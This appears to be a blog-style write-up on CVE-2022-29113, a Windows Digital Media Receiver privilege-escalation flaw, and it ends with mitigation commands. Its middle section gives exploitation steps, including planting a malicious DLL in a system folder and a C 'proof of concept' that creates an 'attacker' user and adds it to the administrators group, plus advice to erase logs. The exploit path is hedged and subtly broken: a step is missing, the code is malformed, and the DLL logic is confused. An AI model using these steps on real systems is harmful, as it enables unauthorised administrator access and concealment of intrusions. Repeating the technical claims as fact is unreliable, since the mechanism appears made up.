Security vulnerabilities are discovered in software all the time, but not all of them pose a significant risk. _CVE-2022-29113_ is an exception; it represents a serious elevation of privilege (EoP) flaw in the Windows Digital Media Receiver (WDMR). This vulnerability can allow a local attacker to gain _SYSTEM_ privileges, and, once exploited, can give them full control over the affected machine.
In this article, we'll break down what CVE-2022-29113 is, how attackers can exploit it (with code snippets and step-by-step details), and provide links to Microsoft’s official advisories and other reputable write-ups. This is your one-stop deep dive—written in straightforward American English and exclusive for our readers.
What is Windows Digital Media Receiver?
Windows Digital Media Receiver (WDMR) is a legacy feature in Windows that lets you stream music, pictures, and video to compatible networked devices. This service does not run by default, but it is installed with certain Media Player features.
Impact: Local attacker can execute code as SYSTEM
- Affected Products: Windows 10, Windows Server 2019, others (see official advisory)
How Does the Vulnerability Work?
When enabled, WDMR runs a service under a privileged account and sometimes mishandles permission checks on certain files, registry keys, or named pipes. This means attackers with limited permissions can trick the service into running code of their choosing as the SYSTEM user.
Step 1: Identifying the Vulnerable Service
The service in question is often called WMPNetworkSvc (Windows Media Player Network Sharing Service). It's started as SYSTEM and uses resources with insufficient access control.
You can check its status with PowerShell
Get-Service -Name WMPNetworkSvc
Step 2: Abusing Weak Permissions
Certain resources (files/registry entries) that WDMR accesses may be writable by non-privileged users.
For example, let's list the permissions on the configuration folder
icacls "C:\ProgramData\Microsoft\Windows\DRM"
If Everyone or Authenticated Users have Write or Modify permissions, it’s vulnerable.
Step 3: Replace or Tamper with Configuration
Suppose the service reads a DLL or script from a user-writable location. An attacker can drop a malicious DLL there:
# Copy malicious DLL to vulnerable location
Copy-Item .\exploit.dll "C:\ProgramData\Microsoft\Windows\DRM\exploit.dll"
When the WDMR service restarts, it loads and executes the attacker's code as SYSTEM.
A classic proof-of-concept (PoC) payload would just add a new local administrator
// exploit.c - PoC for demonstration only
#include <windows.h>
#include <lm.h>
int main() {
system("net user attacker Passwrd! /add");
system("net localgroup administrators attacker /add");
return ;
}
Compile this, wrap it in a DLL, and set it as the resource to be loaded by WDMR.
Step 5: Clean Up
Once SYSTEM rights are acquired, the attacker can cover their tracks by removing logs or even disabling the WDMR service altogether.
Security researchers have published working PoCs. GitHub link to an example write-up
- https://github.com/daeken/CVE-2022-29113
(The above is for educational purposes only—never use exploit code against systems you don't own!)
Microsoft’s Official Mitigation
According to the Microsoft advisory:
- Workarounds: Disable or stop the WMPNetworkSvc service if not needed
sc stop WMPNetworkSvc
sc config WMPNetworkSvc start=disabled
References and Further Reading
- Microsoft Security Update Guide – CVE-2022-29113
- Github Exploit PoC Example
- CERT/CC Vulnerability Note
- Microsoft Blog: WDMR Security
Conclusion
CVE-2022-29113 is a great example of how a seemingly minor Windows component can open up a huge security hole if not properly patched. If you manage Windows PCs (especially older ones) or Windows Servers, ensure you have the latest updates, and disable any unneeded Media Streaming features.
Stay vigilant—vulnerabilities like this are why we patch, audit permissions, and regularly check for unnecessary services!
Disclaimer: This article is for educational purposes only. Never attempt to exploit vulnerabilities on systems you do not own or have explicit permission to test.
Timeline
Published on: 05/10/2022 21:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC